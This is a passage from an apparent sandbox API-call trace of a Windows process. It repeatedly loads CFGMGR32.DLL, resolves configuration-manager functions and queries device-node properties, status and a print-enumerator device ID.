lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.915] malloc (_Size=0x18) returned 0x196ef0d1960 [0220.915] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.918] malloc (_Size=0x48) returned 0x196ef0fbd10 [0220.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6487bff9, dwHighDateTime=0x1d9eb0c)) [0220.918] SetEvent (hEvent=0x248) returned 1 [0220.922] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.922] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.926] malloc (_Size=0x18) returned 0x196ef0d20c0 [0220.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.926] malloc (_Size=0x48) returned 0x196ef0fbb80 [0220.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x648a2433, dwHighDateTime=0x1d9eb0c)) [0220.927] SetEvent (hEvent=0x248) returned 1 [0220.929] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.930] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.933] malloc (_Size=0x18) returned 0x196ef0d1a40 [0220.933] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.934] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0220.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x648a2433, dwHighDateTime=0x1d9eb0c)) [0220.934] SetEvent (hEvent=0x248) returned 1 [0220.937] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.937] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.941] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.941] malloc (_Size=0x18) returned 0x196ef0d1a40 [0220.941] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0220.942] malloc (_Size=0x48) returned 0x196ef0fb680 [0220.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x648c8783, dwHighDateTime=0x1d9eb0c)) [0220.942] SetEvent (hEvent=0x248) returned 1 [0220.947] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.947] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.950] malloc (_Size=0x18) returned 0x196ef0d1de0 [0220.951] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.954] malloc (_Size=0x48) returned 0x196ef0fbae0 [0220.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x648c8783, dwHighDateTime=0x1d9eb0c)) [0220.954] SetEvent (hEvent=0x248) returned 1 [0221.053] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.054] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.054] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.057] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.057] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x17, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0221.057] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0221.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x649d3594, dwHighDateTime=0x1d9eb0c)) [0221.058] SetEvent (hEvent=0x248) returned 1 [0221.062] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.062] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.063] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.063] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.063] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.063] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.067] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.067] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x17, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0221.068] malloc (_Size=0x48) returned 0x196ef0fbc70 [0221.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x64a0271f, dwHighDateTime=0x1d9eb0c)) [0221.068] SetEvent (hEvent=0x248) returned 1 [0221.073] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.073] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.074] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.075] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.078] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0221.078] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0221.078] malloc (_Size=0x48) returned 0x196ef0fb590 [0221.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64a1c0fc, dwHighDateTime=0x1d9eb0c)) [0221.079] SetEvent (hEvent=0x248) returned 1 [0221.087] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.087] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.098] malloc (_Size=0x18) returned 0x196ef0d2000 [0221.099] CM_Get_Device_IDA (in: dnDevInst=0x18, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{912728E5-D154-4F13-870E-3FDAEBB239BC}") returned 0x0 [0221.099] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0221.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x64a4c6c7, dwHighDateTime=0x1d9eb0c)) [0221.102] SetEvent (hEvent=0x248) returned 1 [0221.106] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.106] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.107] GetProcAddress 